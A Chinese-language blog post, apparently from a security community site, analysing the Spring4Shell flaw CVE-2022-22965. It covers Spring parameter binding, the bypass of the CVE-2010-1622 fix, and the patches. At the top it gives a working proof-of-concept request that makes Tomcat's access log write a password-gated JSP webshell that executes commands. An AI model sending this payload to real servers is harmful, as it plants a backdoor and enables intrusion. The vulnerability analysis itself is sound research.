奇安信攻防社区-Spring-Framework RCE(CVE-2022-22965)分析

Spring-Framework RCE(CVE-2022-22965)分析

最近热议的spring core漏洞，简单看看

先上poc吧，虽然大家已经有了

```php
POST / HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
suffix: %>
prefix: <%
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 803

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Diif(%22023%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20out.print(%22%3Cpre%3E%22);%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20out.print(%22%3C%2fpre%3E%22);%20%7D%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=a&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
```

这个是CVE-2010-1622的绕过，具体分析可以看[SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析](http://rui0.cn/archives/1158?vytuli=tc1oj2)。 &lt;br /&gt;  
文章啰嗦一点，看得懂就行  
&lt;a name="DeMFU"&gt;&lt;/a&gt;

0x00 环境搭建
=========

我是远程调试的，直接debug一直有报错。 &lt;br /&gt;  
首先修改tomcat配置，win环境在catalina.bat增加&lt;br /&gt;  
`agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"`&lt;br /&gt;  
idea直接打开tomcat所在目录，添加框架支持为maven，然后其中我又新建了一个文件夹为project，这个也添加支持maven，效果如下：&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f355130602cad32161773081053a9ff320263bdea157f.jpg)&lt;br /&gt;  
然后spring里面写代码，生成war包，直接放到webapps里面即可，启动tomcat会自动部署（默认热部署，添加新的war过一会就自动部署好了），然后idea添加远程debug&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f907811718fde9ca6d84ee1614b92f769824b726ec642.jpg)&lt;br /&gt;  
接着愉快调试吧  
&lt;a name="wK97r"&gt;&lt;/a&gt;

0x01 前置知识
=========

&lt;a name="XIc6y"&gt;&lt;/a&gt;

spring ioc
----------

这个东西我一句两句也解释不清楚，看文章吧，当时在学校学的时候就懵懵的，控制反转说白了就是将pojo和bean交给spring来处理，我只需关心值的设置与取用，无需关心怎么设置与取出的&lt;br /&gt;  
[java对象 POJO和JavaBean的区别](https://www.jianshu.com/p/224489dfdec8)，[Spring(2)——Spring IoC 详解](https://www.cnblogs.com/wmyskxz/p/8824597.html)，[Spring IoC有什么好处呢？](https://www.zhihu.com/question/23277575)  
&lt;a name="YcHmX"&gt;&lt;/a&gt;

参数绑定
----

pojo

```java
package com.yq1ng.pojo;

import java.util.Arrays;

/**
 * @author ying
 * @Description
 * @create 2022-04-03 5:37 PM
 */

public class User {
    private String name;
    private int age;

public String getName() {
        return name;
    }

public int getAge() {
        return age;
    }

public void setName(String name) {
        this.name = name;
    }

@Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}
```

```java
@RequestMapping("/bind")
    @ResponseBody
    public String bindTest(User user){
        return user.toString();
    }
```

访问[http://localhost:8081/spring-rce/bind?name=yq1ng&amp;age=1](http://localhost:8081/spring-rce/bind?name=yq1ng&age=1&jobs%5B0%5D=1&jobs%5B1%5D=212)页面显示 &lt;br /&gt;  
`User{name='yq1ng', age=0}` &lt;br /&gt;  
由于age没有set方法，所以没有值。通过参数绑定，可以很轻松的使用pojo类，不再像以前一样再去调用set，这些都由spring帮忙完成。 &lt;br /&gt;  
参数绑定也支持层级调用，比如下面这样

```java
package com.yq1ng.pojo;

/**
 * @author ying
 * @Description
 * @create 2022-04-08 14:28
 */

public class UserInfo {
    private String name;
    private Secret secret;

public String getName() {
        System.out.println("getName");
        return name;
    }

public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

public Secret getSecret() {
        System.out.println("getSecret");
        return secret;
    }

public void setSecret(Secret secret) {
        System.out.println("setSecret");
        this.secret = secret;
    }

@Override
    public String toString() {
        return "UserInfo{" +
                "name='" + name + '\'' +
                ", secret=" + secret +
                '}';
    }
}
```

```java
package com.yq1ng.pojo;

/**
 * @author ying
 * @Description
 * @create 2022-04-08 14:28
 */

public class Secret {
    private String passwd;

public String getPasswd() {
        System.out.println("getPasswd");
        return passwd;
    }

public void setPasswd(String passwd) {
        System.out.println("setPasswd");
        this.passwd = passwd;
    }

@Override
    public String toString() {
        return "Secret{" +
                "passwd='" + passwd + '\'' +
                '}';
    }
}
```

访问[http://localhost:8081/spring-rce/bind1?name=yq1ng&amp;secret.passwd=love](http://localhost:8081/spring-rce/bind1?name=yq1ng&secret.passwd=love) &lt;br /&gt;  
会显示`UserInfo{name='yq1ng', secret=Secret{passwd='love'}}` &lt;br /&gt;  
查看tomcat窗口可以发现他是通过getter、setter完成的

```php
UserInfo.getSecret()
  Secret.setPasswd()
```

参数绑定支持GET和POST方法，一起用的话就会拼接到一起，且GET优先级较高&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f922588a682ef6d31cbd15266c9ba560e0f77036fe300.jpg)  
&lt;a name="H9WfZ"&gt;&lt;/a&gt;

Java Introspector(内省)
---------------------

至于什么是内省（Introspector），看过Ruilin师傅的文章的应该了解一些了，没看的话可以看：[https://blog.51cto.com/u\_3631118/3119838](https://blog.51cto.com/u_3631118/3119838)。内省说白了就是去看beans的getter和setter，即使你没有这个属性内省也会认为你有，比如下面这样：

```java
package com.yq1ng.pojo;

/**
 * @author ying
 * @Description
 * @create 2022-04-08 15:42
 */

public class Temp {
    private String a;
    private String b;

public String getA() {
        return a;
    }

public String getC() {
        return null;
    }
}
```

![image.png](https://shs3.b.qianxin.com/butian_public/f6194103dc9dfd2c28fb6734bb2cba58771f2822453b7.jpg)

> PropertyDescriptor是Java自带的类，它可以获取Bean的所有信息

这里为什么有个class？明明类里没定义有关方法。为此debug一下&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f515350d42c0b59bc13bd26523f8dec59794ce0176e46.jpg)&lt;br /&gt;  
方法注释说明写道内省Bean，并获取其所有属性、公开方法与事件，这个所有就厉害了，他还会获取Superclass，且是递归获取。来看代码&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f308549ad68c74f7a7de4d8af0552db3484085418e8fd.jpg)&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f258872abab18105aab20482ac4e13e0c3d86529afc7a.jpg)&lt;br /&gt;  
在Java里所有的类都继承基类，所以每个Bean的Info里面都会有class属性  
&lt;a name="WlAQB"&gt;&lt;/a&gt;

BeanWrapperImpl
---------------

BeanWrapper在spring中是一个比较重要接口，其实现类为org/springframework/beans/BeanWrapperImpl.java。通过这个类可以很轻松的调用beans的各种信息及设置其属性。这个类最终调用的还是上面提到的`PropertyDescriptor` &lt;br /&gt;  
看一下BeanWrapperImpl定义与属性&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f750980d8c545b7ed137bfe076f4fb1a0a2e2cb384a55.jpg)&lt;br /&gt;  
他的有参构造都会调用super，拿`BeanWrapperImpl(Object object)`来说，super会来到父类AbstractNestablePropertyAccessor的构造，跟踪构造会发现它会将传入的对象保存到`this.wrappedObject`&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f703761f4672b63f56dbec812675a5531f77a00fc2b02.jpg)&lt;br /&gt;  
其他的方法即是见名知意，简单以取值、设值来看使用方法&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f451987d1c3bcbc32dde164d0eab0eda060b7bec4f855.jpg)&lt;br /&gt;  
非常方便，也可以见到spring的强大。  
&lt;a name="XQJgR"&gt;&lt;/a&gt;

tomcat日志写文件
-----------

看一下这个：[Struts2 S2-020在Tomcat 8下的命令执行分析](https://cloud.tencent.com/developer/article/1035297)，至于本次poc为什么会有%{xxx}的奇怪字符，是因为%是tomcat变量替换的标识符，具体可见官方文档：<https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html>&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f716603d376d2693f801c900737b0d24dd62a60f2076f.jpg)&lt;br /&gt;  
还有只能发送一次poc的问题，只需修改`class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=任意数字`即可，路径问题默认写道tomcat目录，相对路径就行，`webapps/ROOT/`即可。  
&lt;a name="FibBH"&gt;&lt;/a&gt;

0x02 漏洞调试
=========

断点打到了`org/springframework/beans/AbstractPropertyAccessor.java#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid)`&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f1133629787f021fa2405cf11615f3abc364fcffbaaa0.jpg)&lt;br /&gt;  
跟进`setPropertyValue()`&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f1163934b8a8045a03febc285e12bdec5f76932384f0e.jpg)&lt;br /&gt;  
这里会对`propertyName`进行递归解析，进去看看&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f818733ed54c348b772a415647758a4593eeeda12578f.jpg)&lt;br /&gt;  
注释说的很清楚，递归解析。首先跟进`getFirstNestedPropertySeparatorIndex()`&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f275999c59a30c9ff8dce425eefd3bb3479ee19b108d8.jpg)&lt;br /&gt;  
按`.`进行分割，第一次会返回`class`，返回后跟进`getNestedPropertyAccessor(nestedProperty)`&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f89098024997f84a19e5e9975bbf8184e300e9946748d.jpg)&lt;br /&gt;  
进入`getPropertyValue(tokens)`&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f856513b3b2322b40ce15beb42cf9f15b8c06320459c5.jpg)&lt;br /&gt;  
会先查找缓存有没有这个属性，跟进，一直f7到`org/springframework/beans/CachedIntrospectionResults.java#getPropertyDescriptor(String name)`&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f69276039cde684221a0b675297d25f4532aad4608a09.jpg)&lt;br /&gt;  
返回cache后，一直往下走就会看到`BeanWrapperImpl.java#getValue()`&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f4692804b5d4057619bb20c2af389d8904e0ee9d16f4b.jpg)&lt;br /&gt;  
反射设值，第一次迭代如下

```php
User.getClass()
  java.lang.Class.getmodule()   //下一轮
```

接着继续按`.`分割，直接看反射处&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f62031464f9adb853bd57ef5307d33ca004bcac9ff79e.jpg)&lt;br /&gt;  
所以第二次迭代就是

```php
User.getClass()
  java.lang.Class.getmodule()
    java.lang.Module.getclassLoader()   //下一轮
```

后面都是一样的，总结一下就是

```php
User.getClass()
    java.lang.Class.getModule()
        java.lang.Module.getClassLoader()
            org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
                org.apache.catalina.webresources.StandardRoot.getContext()
                    org.apache.catalina.core.StandardContext.getParent()
                        org.apache.catalina.core.StandardHost.getPipeline()
                            org.apache.catalina.core.StandardPipeline.getFirst()
                                org.apache.catalina.valves.AccessLogValve.setDirectory()
```

这样就修改了tomcat的配置，达到写文件的目的，究其原理就是CVE-2010-1622的绕过，由于jdk9的新特性：module，模块化绕过了原本的，为什么可以绕过呢？上面调试我没说，比较简单，单独看一下就行，就是在获取缓存的时候会进行check，但是只是检测了`class.classloader`，这是因为jdk8里面没有module这个东西，也就不需要防御，而jdk的升级成为了此漏洞的利用点，使用`class.module.classloader`即可绕过 &lt;br /&gt;  
`org/springframework/beans/CachedIntrospectionResults.java#CachedIntrospectionResults(Class<?> beanClass)`&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f8353357d381025a3a88d2fd686033f92400a00fce7b1.jpg)  
&lt;a name="bJCab"&gt;&lt;/a&gt;

0x03 修复
=======

&lt;a name="VFV55"&gt;&lt;/a&gt;

spring修复
--------

3.31号对上述check进行了修补，连接：<https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15>&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f232924059f1fbb561d1a888100716f50420e6675fdc4.jpg)&lt;br /&gt;  
只能获取name或者以Name结尾的PropertyDescriptor了  
&lt;a name="eTdiy"&gt;&lt;/a&gt;

tomcat修复
--------

其实不是tomcat的锅，但是人家还是修了。在3.31号修复的，连接：<https://github.com/apache/tomcat/commit/1abcf3f4d741c824ae490009fe32ce300f10eddc>&lt;br /&gt;

![image.png](https://shs3.b.qianxin.com/butian_public/f78201128a767d9d0ff9534699230ec43c158f4d2f8f8.jpg)&lt;br /&gt;  
`org.apache.catalina.loader.ParallelWebappClassLoader.getResources()`这个地方也算是寄了  
&lt;a name="eN9Bh"&gt;&lt;/a&gt;

后记
==

这个洞说起来危害也就一般，没有传言中那么厉害。一是jdk9以上，这点限制就很大，现在都是jdk8 yyds；二是仅限于tomcat，很多情况都是spring-boot，这就没法利用。所以仁者见仁智者见智，及时关注新特性，下次说不定就摸到大鱼了哈哈

发表于 2022-04-13 09:52:06
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分类：漏洞分析

Spring-Framework RCE(CVE-2022-22965)分析

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